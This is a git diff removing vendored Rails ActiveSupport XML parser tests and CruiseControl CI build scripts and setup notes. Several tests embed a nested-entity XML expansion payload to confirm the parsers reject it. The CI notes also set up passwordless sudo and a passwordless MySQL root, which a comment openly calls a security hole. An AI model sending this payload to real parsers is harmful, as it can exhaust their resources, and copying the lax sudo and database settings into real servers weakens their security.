-    eoxml
-  end
-
-  def test_single_node_with_content_as_hash
-    assert_equal_rexml(<<-eoxml)
-      <products>
-        hello world
-      </products>
-    eoxml
-  end
-
-  def test_children_with_children
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>
-        <book name="america" id="67890" />
-      </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_text
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>
-        hello everyone
-      </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_non_adjacent_text
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      good
-      <products>
-        hello everyone
-      </products>
-      morning
-    </root>
-    eoxml
-  end
-
-  def test_children_with_simple_cdata
-     assert_equal_rexml(<<-eoxml)
-     <root>
-       <products>
-         <![CDATA[cdatablock]]>
-      </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_multiple_cdata
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>
-         <![CDATA[cdatablock1]]><![CDATA[cdatablock2]]>
-      </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_text_and_cdata
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>
-        hello <![CDATA[cdatablock]]>
-        morning
-       </products>
-     </root>
-     eoxml
-   end
-
-  def test_children_with_blank_text
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>   </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_blank_text_and_attribute
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products type="file">   </products>
-    </root>
-    eoxml
-  end
-
-  private
-  def assert_equal_rexml(xml)
-    hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) }
-    assert_equal(hash, XmlMini.parse(xml))
-  end
-end
-
-end
diff --git a/vendor/rails/activesupport/test/xml_mini/libxmlsax_engine_test.rb b/vendor/rails/activesupport/test/xml_mini/libxmlsax_engine_test.rb
deleted file mode 100644
index 51543e85..00000000
--- a/vendor/rails/activesupport/test/xml_mini/libxmlsax_engine_test.rb
+++ /dev/null
@@ -1,181 +0,0 @@
-require 'abstract_unit'
-require 'active_support/xml_mini'
-require 'active_support/core_ext/hash/conversions'
-
-begin
-  require 'libxml'
-rescue LoadError
-  # Skip libxml tests
-else
-
-class LibXMLSAXEngineTest < Test::Unit::TestCase
-  include ActiveSupport
-
-  def setup
-    @default_backend = XmlMini.backend
-    XmlMini.backend = 'LibXMLSAX'
-  end
-
-  def teardown
-    XmlMini.backend = @default_backend
-  end
-
-  def test_exception_thrown_on_expansion_attack
-    assert_raise LibXML::XML::Error do
-      attack_xml = <<-EOT
-      <?xml version="1.0" encoding="UTF-8"?>
-      <!DOCTYPE member [
-        <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
-        <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
-        <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
-        <!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
-        <!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
-        <!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
-        <!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
-      ]>
-      <member>
-      &a;
-      </member>
-      EOT
-
-      Hash.from_xml(attack_xml)
-    end
-  end
-
-  def test_setting_libxml_as_backend
-    XmlMini.backend = 'LibXMLSAX'
-    assert_equal XmlMini_LibXMLSAX, XmlMini.backend
-  end
-
-  def test_blank_returns_empty_hash
-    assert_equal({}, XmlMini.parse(nil))
-    assert_equal({}, XmlMini.parse(''))
-  end
-
-  def test_array_type_makes_an_array
-    assert_equal_rexml(<<-eoxml)
-      <blog>
-        <posts type="array">
-          <post>a post</post>
-          <post>another post</post>
-        </posts>
-      </blog>
-    eoxml
-  end
-
-  def test_one_node_document_as_hash
-    assert_equal_rexml(<<-eoxml)
-    <products/>
-    eoxml
-  end
-
-  def test_one_node_with_attributes_document_as_hash
-    assert_equal_rexml(<<-eoxml)
-    <products foo="bar"/>
-    eoxml
-  end
-
-  def test_products_node_with_book_node_as_hash
-    assert_equal_rexml(<<-eoxml)
-    <products>
-      <book name="awesome" id="12345" />
-    </products>
-    eoxml
-  end
-
-  def test_products_node_with_two_book_nodes_as_hash
-    assert_equal_rexml(<<-eoxml)
-    <products>
-      <book name="awesome" id="12345" />
-      <book name="america" id="67890" />
-    </products>
-    eoxml
-  end
-
-  def test_single_node_with_content_as_hash
-    assert_equal_rexml(<<-eoxml)
-      <products>
-        hello world
-      </products>
-    eoxml
-  end
-
-  def test_children_with_children
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>
-        <book name="america" id="67890" />
-      </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_text
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>
-        hello everyone
-      </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_non_adjacent_text
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      good
-      <products>
-        hello everyone
-      </products>
-      morning
-    </root>
-    eoxml
-  end
-
-  def test_children_with_simple_cdata
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>
-         <![CDATA[cdatablock]]>
-      </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_multiple_cdata
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>
-         <![CDATA[cdatablock1]]><![CDATA[cdatablock2]]>
-      </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_text_and_cdata
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>
-        hello <![CDATA[cdatablock]]>
-        morning
-      </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_blank_text
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>   </products>
-    </root>
-    eoxml
-  end
-
-  private
-  def assert_equal_rexml(xml)
-    hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) }
-    assert_equal(hash, XmlMini.parse(xml))
-  end
-end
-
-end
diff --git a/vendor/rails/activesupport/test/xml_mini/nokogiri_engine_test.rb b/vendor/rails/activesupport/test/xml_mini/nokogiri_engine_test.rb
deleted file mode 100644
index 08e21478..00000000
--- a/vendor/rails/activesupport/test/xml_mini/nokogiri_engine_test.rb
+++ /dev/null
@@ -1,204 +0,0 @@
-require 'abstract_unit'
-require 'active_support/xml_mini'
-
-begin
-  gem 'nokogiri', '>= 1.1.1'
-rescue Gem::LoadError
-  # Skip nokogiri tests
-else
-
-require 'nokogiri'
-
-class NokogiriEngineTest < Test::Unit::TestCase
-  include ActiveSupport
-
-  def setup
-    @default_backend = XmlMini.backend
-    XmlMini.backend = 'Nokogiri'
-  end
-
-  def teardown
-    XmlMini.backend = @default_backend
-  end
-
-  def test_file_from_xml
-    hash = Hash.from_xml(<<-eoxml)
-      <blog>
-        <logo type="file" name="logo.png" content_type="image/png">
-        </logo>
-      </blog>
-    eoxml
-    assert hash.has_key?('blog')
-    assert hash['blog'].has_key?('logo')
-
-    file = hash['blog']['logo']
-    assert_equal 'logo.png', file.original_filename
-    assert_equal 'image/png', file.content_type
-  end
-
-  def test_exception_thrown_on_expansion_attack
-    assert_raise Nokogiri::XML::SyntaxError do
-      attack_xml = <<-EOT
-      <?xml version="1.0" encoding="UTF-8"?>
-      <!DOCTYPE member [
-        <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
-        <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
-        <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
-        <!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
-        <!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
-        <!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
-        <!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
-      ]>
-      <member>
-      &a;
-      </member>
-      EOT
-      Hash.from_xml(attack_xml)
-    end
-  end
-
-  def test_setting_nokogiri_as_backend
-    XmlMini.backend = 'Nokogiri'
-    assert_equal XmlMini_Nokogiri, XmlMini.backend
-  end
-
-  def test_blank_returns_empty_hash
-    assert_equal({}, XmlMini.parse(nil))
-    assert_equal({}, XmlMini.parse(''))
-  end
-
-  def test_array_type_makes_an_array
-    assert_equal_rexml(<<-eoxml)
-      <blog>
-        <posts type="array">
-          <post>a post</post>
-          <post>another post</post>
-        </posts>
-      </blog>
-    eoxml
-  end
-
-  def test_one_node_document_as_hash
-    assert_equal_rexml(<<-eoxml)
-    <products/>
-    eoxml
-  end
-
-  def test_one_node_with_attributes_document_as_hash
-    assert_equal_rexml(<<-eoxml)
-    <products foo="bar"/>
-    eoxml
-  end
-
-  def test_products_node_with_book_node_as_hash
-    assert_equal_rexml(<<-eoxml)
-    <products>
-      <book name="awesome" id="12345" />
-    </products>
-    eoxml
-  end
-
-  def test_products_node_with_two_book_nodes_as_hash
-    assert_equal_rexml(<<-eoxml)
-    <products>
-      <book name="awesome" id="12345" />
-      <book name="america" id="67890" />
-    </products>
-    eoxml
-  end
-
-  def test_single_node_with_content_as_hash
-    assert_equal_rexml(<<-eoxml)
-      <products>
-        hello world
-      </products>
-    eoxml
-  end
-
-  def test_children_with_children
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>
-        <book name="america" id="67890" />
-      </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_text
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>
-        hello everyone
-      </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_non_adjacent_text
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      good
-      <products>
-        hello everyone
-      </products>
-      morning
-    </root>
-    eoxml
-  end
-
-  def test_children_with_simple_cdata
-     assert_equal_rexml(<<-eoxml)
-     <root>
-       <products>
-         <![CDATA[cdatablock]]>
-      </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_multiple_cdata
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>
-         <![CDATA[cdatablock1]]><![CDATA[cdatablock2]]>
-      </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_text_and_cdata
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>
-        hello <![CDATA[cdatablock]]>
-        morning
-       </products>
-     </root>
-     eoxml
-   end
-
-  def test_children_with_blank_text
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>   </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_blank_text_and_attribute
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products type="file">   </products>
-    </root>
-    eoxml
-  end
-
-  private
-  def assert_equal_rexml(xml)
-    hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) }
-    assert_equal(hash, XmlMini.parse(xml))
-  end
-end
-
-end
diff --git a/vendor/rails/activesupport/test/xml_mini/nokogirisax_engine_test.rb b/vendor/rails/activesupport/test/xml_mini/nokogirisax_engine_test.rb
deleted file mode 100644
index 1149d0fe..00000000
--- a/vendor/rails/activesupport/test/xml_mini/nokogirisax_engine_test.rb
+++ /dev/null
@@ -1,217 +0,0 @@
-require 'abstract_unit'
-require 'active_support/xml_mini'
-require 'active_support/core_ext/hash/conversions'
-
-begin
-  require 'nokogiri'
-rescue LoadError
-  # Skip nokogiri tests
-else
-
-class NokogiriSAXEngineTest < Test::Unit::TestCase
-  include ActiveSupport
-
-  def setup
-    @default_backend = XmlMini.backend
-    XmlMini.backend = 'NokogiriSAX'
-  end
-
-  def teardown
-    XmlMini.backend = @default_backend
-  end
-
-  def test_file_from_xml
-    hash = Hash.from_xml(<<-eoxml)
-      <blog>
-        <logo type="file" name="logo.png" content_type="image/png">
-        </logo>
-      </blog>
-    eoxml
-    assert hash.has_key?('blog')
-    assert hash['blog'].has_key?('logo')
-
-    file = hash['blog']['logo']
-    assert_equal 'logo.png', file.original_filename
-    assert_equal 'image/png', file.content_type
-  end
-
-  def test_exception_thrown_on_expansion_attack
-    assert_raise RuntimeError do
-      attack_xml = <<-EOT
-      <?xml version="1.0" encoding="UTF-8"?>
-      <!DOCTYPE member [
-        <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
-        <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
-        <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
-        <!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
-        <!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
-        <!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
-        <!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
-      ]>
-      <member>
-      &a;
-      </member>
-      EOT
-
-      Hash.from_xml(attack_xml)
-    end
-  end
-
-  def test_setting_nokogiri_as_backend
-    XmlMini.backend = 'Nokogiri'
-    assert_equal XmlMini_Nokogiri, XmlMini.backend
-  end
-
-  def test_blank_returns_empty_hash
-    assert_equal({}, XmlMini.parse(nil))
-    assert_equal({}, XmlMini.parse(''))
-  end
-
-  def test_array_type_makes_an_array
-    assert_equal_rexml(<<-eoxml)
-      <blog>
-        <posts type="array">
-          <post>a post</post>
-          <post>another post</post>
-        </posts>
-      </blog>
-    eoxml
-  end
-
-  def test_one_node_document_as_hash
-    assert_equal_rexml(<<-eoxml)
-    <products/>
-    eoxml
-  end
-
-  def test_one_node_with_attributes_document_as_hash
-    assert_equal_rexml(<<-eoxml)
-    <products foo="bar"/>
-    eoxml
-  end
-
-  def test_products_node_with_book_node_as_hash
-    assert_equal_rexml(<<-eoxml)
-    <products>
-      <book name="awesome" id="12345" />
-    </products>
-    eoxml
-  end
-
-  def test_products_node_with_two_book_nodes_as_hash
-    assert_equal_rexml(<<-eoxml)
-    <products>
-      <book name="awesome" id="12345" />
-      <book name="america" id="67890" />
-    </products>
-    eoxml
-  end
-
-  def test_single_node_with_content_as_hash
-    assert_equal_rexml(<<-eoxml)
-      <products>
-        hello world
-      </products>
-    eoxml
-  end
-
-  def test_children_with_children
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>
-        <book name="america" id="67890" />
-      </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_text
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>
-        hello everyone
-      </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_non_adjacent_text
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      good
-      <products>
-        hello everyone
-      </products>
-      morning
-    </root>
-    eoxml
-  end
-
-  def test_parse_from_io
-    io = StringIO.new(<<-eoxml)
-    <root>
-      good
-      <products>
-        hello everyone
-      </products>
-      morning
-    </root>
-    eoxml
-    XmlMini.parse(io)
-  end
-
-  def test_children_with_simple_cdata
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>
-         <![CDATA[cdatablock]]>
-      </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_multiple_cdata
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>
-         <![CDATA[cdatablock1]]><![CDATA[cdatablock2]]>
-      </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_text_and_cdata
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>
-        hello <![CDATA[cdatablock]]>
-        morning
-      </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_blank_text
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products>   </products>
-    </root>
-    eoxml
-  end
-
-  def test_children_with_blank_text_and_attribute
-    assert_equal_rexml(<<-eoxml)
-    <root>
-      <products type="file">   </products>
-    </root>
-    eoxml
-  end
-
-  private
-  def assert_equal_rexml(xml)
-    hash = XmlMini.with_backend('REXML') { XmlMini.parse(xml) }
-    assert_equal(hash, XmlMini.parse(xml))
-  end
-end
-
-end
diff --git a/vendor/rails/activesupport/test/xml_mini/rexml_engine_test.rb b/vendor/rails/activesupport/test/xml_mini/rexml_engine_test.rb
deleted file mode 100644
index a412d8ca..00000000
--- a/vendor/rails/activesupport/test/xml_mini/rexml_engine_test.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-require 'abstract_unit'
-require 'active_support/xml_mini'
-
-class REXMLEngineTest < Test::Unit::TestCase
-  include ActiveSupport
-
-  def test_default_is_rexml
-    assert_equal XmlMini_REXML, XmlMini.backend
-  end
-
-  def test_set_rexml_as_backend
-    XmlMini.backend = 'REXML'
-    assert_equal XmlMini_REXML, XmlMini.backend
-  end
-end
diff --git a/vendor/rails/ci/ci_build.rb b/vendor/rails/ci/ci_build.rb
deleted file mode 100755
index c4dfcd4a..00000000
--- a/vendor/rails/ci/ci_build.rb
+++ /dev/null
@@ -1,119 +0,0 @@
-#!/usr/bin/env ruby
-require 'fileutils'
-
-include FileUtils
-
-puts "[CruiseControl] Rails build"
-
-build_results = {}
-root_dir = File.expand_path(File.dirname(__FILE__) + "/..")
-
-# Requires gem home and path to be writeable and/or overridden to be ~/.gem,
-# Will enable when RubyGems supports this properly (in a coming release)
-# build_results[:geminstaller] = system 'geminstaller --exceptions'
-
-# for now, use the no-passwd sudoers approach (documented in ci_setup_notes.txt)
-# A security hole, but there is nothing valuable on rails CI box anyway.
-build_results[:geminstaller] = system "sudo geminstaller --config=#{root_dir}/ci/geminstaller.yml --exceptions"
-
-cd "#{root_dir}/activesupport" do
-  puts
-  puts "[CruiseControl] Building ActiveSupport"
-  puts
-  build_results[:activesupport] = system 'rake'
-end
-
-rm_f "#{root_dir}/activerecord/debug.log"
-cd "#{root_dir}/activerecord" do
-  puts
-  puts "[CruiseControl] Building ActiveRecord with MySQL"
-  puts
-  build_results[:activerecord_mysql] = system 'rake mysql:rebuild_databases && rake test_mysql'
-end
-
-cd "#{root_dir}/activerecord" do
-  puts
-  puts "[CruiseControl] Building ActiveRecord with PostgreSQL"
-  puts
-  build_results[:activerecord_postgresql8] = system 'rake postgresql:rebuild_databases && rake test_postgresql'
-end
-
-if RUBY_VERSION < '1.9.0'
-  cd "#{root_dir}/activerecord" do
-   puts
-   puts "[CruiseControl] Building ActiveRecord with SQLite 2"
-   puts
-   build_results[:activerecord_sqlite] = system 'rake test_sqlite'
-  end
-end
-
-cd "#{root_dir}/activerecord" do
-  puts
-  puts "[CruiseControl] Building ActiveRecord with SQLite 3"
-  puts
-  build_results[:activerecord_sqlite3] = system 'rake test_sqlite3'
-end
-
-cd "#{root_dir}/activemodel" do
-  puts
-  puts "[CruiseControl] Building ActiveModel"
-  puts
-  build_results[:activemodel] = system 'rake'
-end
-
-rm_f "#{root_dir}/activeresource/debug.log"
-cd "#{root_dir}/activeresource" do
-  puts
-  puts "[CruiseControl] Building ActiveResource"
-  puts
-  build_results[:activeresource] = system 'rake'
-end
-
-cd "#{root_dir}/actionpack" do
-  puts
-  puts "[CruiseControl] Building ActionPack"
-  puts
-  build_results[:actionpack] = system 'rake'
-end
-
-cd "#{root_dir}/actionmailer" do
-  puts
-  puts "[CruiseControl] Building ActionMailer"
-  puts
-  build_results[:actionmailer] = system 'rake'
-end
-
-cd "#{root_dir}/railties" do
-  puts
-  puts "[CruiseControl] Building RailTies"
-  puts
-  build_results[:railties] = system 'rake'
-end
-
-
-puts
-puts "[CruiseControl] Build environment:"
-puts "[CruiseControl]   #{`cat /etc/issue`}"
-puts "[CruiseControl]   #{`uname -a`}"
-puts "[CruiseControl]   #{`ruby -v`}"
-puts "[CruiseControl]   #{`mysql --version`}"
-puts "[CruiseControl]   #{`pg_config --version`}"
-puts "[CruiseControl]   SQLite2: #{`sqlite -version`}"
-puts "[CruiseControl]   SQLite3: #{`sqlite3 -version`}"
-`gem env`.each_line {|line| print "[CruiseControl]   #{line}"}
-puts "[CruiseControl]   Local gems:"
-`gem list`.each_line {|line| print "[CruiseControl]     #{line}"}
-
-failures = build_results.select { |key, value| value == false }
-
-if failures.empty?
-  puts
-  puts "[CruiseControl] Rails build finished sucessfully"
-  exit(0)
-else
-  puts
-  puts "[CruiseControl] Rails build FAILED"
-  puts "[CruiseControl] Failed components: #{failures.map { |component| component.first }.join(', ')}"
-  exit(-1)
-end
-
diff --git a/vendor/rails/ci/ci_setup_notes.txt b/vendor/rails/ci/ci_setup_notes.txt
deleted file mode 100644
index b3c59367..00000000
--- a/vendor/rails/ci/ci_setup_notes.txt
+++ /dev/null
@@ -1,131 +0,0 @@
-# Rails Continuous Integration Server Setup Notes
-# This procedure was used to set up http://ci.rubyonrails.org on Ubuntu 8.04
-# It can be used as a guideline for setting up your own CI server against your local rails branches
-
-* Set up ci user:
-# log in as root
-$ adduser ci
-enter user info and password
-$ visudo
-# give ci user same sudo rights as root
-
-* Disable root login:
-# log in as ci
-$ sudo vi /etc/shadow
-# overwrite and disable encrypted root password to disable root login:
-root:*:14001:0:99999:7:::
-
-* Change Hostname:
-$ sudo vi /etc/hostname
-change to 'ci'
-$ sudo vi /etc/hosts
-replace old hostname with 'ci'
-# reboot to use new hostname (and test reboot)
-$ sudo shutdown -r now
-
-* Update aptitude:
-$ sudo aptitude update
-
-* Use cinabox to perform rest of ruby/ccrb setup: 
-* http://github.com/thewoolleyman/cinabox/tree/master/README.txt
-
-# This is not yet properly supported by RubyGems...
-# * Configure RubyGems to not require root access for gem installation
-# $ vi ~/.profile
-# # add this line at bottom:
-# PATH="$HOME/.gem/ruby/1.8/bin:$PATH"
-# $ sudo vi /etc/init.d/cruise
-# # edit the start_cruise line to source CRUISE_USER/.profile:
-#   start_cruise "cd #{CRUISE_HOME} && source /home/#{CRUISE_USER}/.profile && ./cruise start -d"
-# $ vi ~/.gemrc
-# # add these lines:
-# ---
-# gemhome: /home/ci/.gem/ruby/1.8
-# gempath: 
-# - /home/ci/.gem/ruby/1.8
-
-* If you did not configure no-root-gem installation via ~/.gemrc as shown above, then allow no-password sudo for gem installation:
-$ sudo visudo
-# add this line to bottom:
-ci      ALL=NOPASSWD: /usr/local/bin/geminstaller, /usr/local/bin/ruby, /usr/local/bin/gem
-
-* Start ccrb via init script and check for default homepage at port 3333
-
-* Install/setup nginx:
-$ sudo aptitude install nginx
-$ sudo vi /etc/nginx/sites-available/default
-# Change server_name entry to match server name
-
-# comment two lines and add one to proxy to ccrb:
-#               root   /var/www/nginx-default;
-#               index  index.html index.htm;
-                proxy_pass      http://127.0.0.1:3333;
-
-# also comment default locations for /doc and /images
-$ sudo /etc/init.d/nginx start
-
-* Add project to cruise (It will still fail until everything is set up):
-$ cd ~/ccrb
-$ ./cruise add rails -s git -r git://github.com/rails/rails.git  # or the URI of your branch
-
-* Copy and configure cruise site config file:
-$ cp ~/.cruise/projects/rails/work/ci/site_config.rb ~/.cruise/site_config.rb
-# Edit ~/.cruise/site_config.rb as desired, for example:
-ActionMailer::Base.smtp_settings = {
-  :address =>        "localhost",
-  :domain =>         "ci.yourdomain.com",
-}
-Configuration.dashboard_refresh_interval = 60.seconds
-Configuration.dashboard_url = 'http://ci.yourdomain.com/'
-Configuration.serialize_builds = true
-Configuration.serialized_build_timeout = 1.hours
-BuildReaper.number_of_builds_to_keep = 100
-  
-* Copy and configure cruise project config file
-$ cp ~/.cruise/projects/rails/work/ci/cruise_config.rb ~/.cruise/projects/rails
-$ vi ~/.cruise/projects/rails/cruise_config.rb:
-# Edit ~/.cruise/projects/rails/cruise_config.rb as desired, for example:
-Project.configure do |project|
- project.build_command = 'ruby ci/ci_build.rb'
- project.email_notifier.emails = ['recipient@yourdomain.com']
- project.email_notifier.from = 'sender@yourdomain.com'
-end
-
-* Set up mysql
-$ sudo aptitude install mysql-server-5.0 libmysqlclient-dev
-# no password for mysql root user
-
-* setup sqlite
-$ sudo aptitude install sqlite sqlite3 libsqlite-dev libsqlite3-dev
-# Note: there's some installation bugs with sqlite3-ruby 1.2.2 gem file permissions:
-#   http://www.icoretech.org/2008/07/06/no-such-file-to-load-sqlite3-database
-#   cd /usr/local/lib/ruby/gems/1.8/gems/sqlite3-ruby-1.2.2 && sudo find . -perm 0662 -exec chmod 664 {} \;
-
-* setup postgres
-$ sudo aptitude install postgresql postgresql-server-dev-8.3
-$ sudo su - postgres -c 'createuser -s ci'
-
-* Install fcgi libraries
-$ sudo apt-get install libfcgi-dev
-
-* Install memcached and start for first time (should start on reboot automatically)
-$ sudo aptitude install memcached
-$ sudo /etc/init.d/memcached start
-
-* Install and run GemInstaller to get all dependency gems
-$ sudo gem install geminstaller
-$ cd ~/.cruise/projects/rails/work
-$ sudo geminstaller --config=ci/geminstaller.yml # turn up debugging with these options: --geminstaller-output=all --rubygems-output=all
-
-* Create ActiveRecord test databases for mysql
-$ mysql -uroot -e 'grant all on *.* to rails@localhost;'
-$ mysql -urails -e 'create database activerecord_unittest;'
-$ mysql -urails -e 'create database activerecord_unittest2;'
-
-* Create ActiveRecord test databases for postgres
-# cd to rails activerecord dir
-$ rake postgresql:build_databases
-
-* Reboot and make sure everything is working
-$ sudo shutdown -r now
-$ http://ci.yourdomain.com
\ No newline at end of file
diff --git a/vendor/rails/ci/cruise_config.rb b/vendor/rails/ci/cruise_config.rb
deleted file mode 100644
index 9c7fa98a..00000000
--- a/vendor/rails/ci/cruise_config.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-Project.configure do |project|
-  # Send email notifications about broken and fixed builds to core mailing list
-  if Socket.gethostname =~ /ci.rubyonrails.org/ && ENV['ENABLE_RAILS_CI_EMAILS'] == 'true'
-    project.email_notifier.emails = ['rubyonrails-core@googlegroups.com']
-  end
-
-  project.build_command = 'sudo gem update --system && ruby ci/ci_build.rb'
-  project.email_notifier.from = 'thewoolleyman@gmail.com'
-end
diff --git a/vendor/rails/ci/geminstaller.yml b/vendor/rails/ci/geminstaller.yml
deleted file mode 100644
index 270e08a8..00000000
--- a/vendor/rails/ci/geminstaller.yml
+++ /dev/null
@@ -1,28 +0,0 @@
----
-gems:
-- name: geminstaller
-  version: >= 0.4.3
-- name: fcgi
-  version: >= 0.8.7
-- name: i18n
-  version: >= 0.4.1
-- name: memcache-client
-  version: >= 1.5.0
-- name: mocha
-  version: >= 0.9.8
-- name: mysql
-  version: >= 2.8.1
-- name: nokogiri
-  version: >= 1.3.3
-- name: pg
-  version: >= 0.8.0
-- name: rack
-  version: '~> 1.1.0'
-- name: rake
-  version: >= 0.8.1
-- name: sqlite-ruby
-  version: >= 2.2.3
-- name: sqlite3-ruby
-  version: >= 1.2.5
-- name: tzinfo
-  version: >= 0.3.18
diff --git a/vendor/rails/ci/site.css b/vendor/rails/ci/site.css
deleted file mode 100644
index e771c5d1..00000000
--- a/vendor/rails/ci/site.css
+++ /dev/null
@@ -1,13 +0,0 @@
-/* this is a copy of /home/ci/.cruise/site.css, please make any changes to it there */
-
-/* this is a copy of /home/ci/.cruise/site.css, please make any changes to it there */
-
-/* if you'd like to add custom styles to cruise, add them here */
-/* the following will make successful builds green */
-a.success, a.success:visited {
-  color: #0A0;
-}
-
-.build_success {
-  background-image: url(/images/green_gradient.png);
-}
diff --git a/vendor/rails/ci/site_config.rb b/vendor/rails/ci/site_config.rb
deleted file mode 100644
index 47b7e921..00000000
--- a/vendor/rails/ci/site_config.rb
+++ /dev/null
@@ -1,72 +0,0 @@
-# site_config.rb contains examples of various configuration options for the local installation
-# of CruiseControl.rb.
-
-# YOU MUST RESTART YOUR CRUISE CONTROL SERVER FOR ANY CHANGES MADE HERE TO TAKE EFFECT!!!
-
-# EMAIL NOTIFICATION
-# ------------------
-
-# CruiseControl.rb can notify you about build status via email. It uses ActionMailer component of Ruby on Rails 
-# framework. Obviously, ActionMailer needs to know how to send out email messages. 
-# If you have an SMTP server on your network, and it needs no authentication, write this in your site_config.rb:
-# 
-ActionMailer::Base.smtp_settings = {
-  :address =>        "localhost",
-  :domain =>         "ci.rubyonrails.org",
-}
-#
-# If you have no SMTP server at hand, you can configure email notification to use GMail SMTP server, as follows
-# (of course, you'll need to create a GMail account):
-#
-# ActionMailer::Base.smtp_settings = {
-#   :address =>        "smtp.gmail.com",
-#   :port =>           587,
-#   :domain =>         "yourdomain.com",
-#   :authentication => :plain,
-#   :user_name =>      "yourgmailaccount",
-#   :password =>       "yourgmailpassword"
-# }
-# 
-# The same approach works for other SMTP servers thet require authentication. Note that GMail's SMTP server runs on a 
-# non-standard port 587 (standard port for SMTP is 25).
-#
-# For further details about configuration of outgoing email, see Ruby On Rails documentation for ActionMailer::Base.
-
-# Other site-wide options are available through Configuration class:
-
-# Change how often CC.rb pings Subversion for new requests. Default is 10.seconds, which should be OK for a local
-# SVN repository, but probably isn't very polite for a public repository, such as RubyForge. This can also be set for
-# each project individually, through project.scheduler.polling_interval option:
-# Configuration.default_polling_interval = 1.minute
-
-# How often the dashboard page refreshes itself. If you have more than 10-20 dashboards open,
-# it is advisable to set it to something higher than the default 5 seconds:
-Configuration.dashboard_refresh_interval = 60.seconds
-
-# Site-wide setting for the email "from" field. This can also be set on per-project basis,
-# through project.email.notifier.from attribute
-Configuration.email_from = 'thewoolleyman+railsci@gmail.com'
-
-# Root URL of the dashboard application. Setting this attribute allows various notifiers to include a link to the
-# build page in the notification message.
-Configuration.dashboard_url = 'http://ci.rubyonrails.org/'
-
-# If you don't want to allow triggering builds through dashboard Build Now button. Useful when you host CC.rb as a
-# public web site (such as http://cruisecontrolrb.thoughtworks.com/projects - try clicking on Build Now button there
-# and see what happens):
-# Configuration.disable_build_now = true
-
-# If you want to only allow one project to build at a time, uncomment this line
-# by default, cruise allows multiple projects to build at a time
-Configuration.serialize_builds = true
-
-# Amount of time a project will wait to build before failing when build serialization is on
-Configuration.serialized_build_timeout = 3.hours
-
-# To delete build when there are more than a certain number present, uncomment this line - it will make the dashboard 
-# perform better
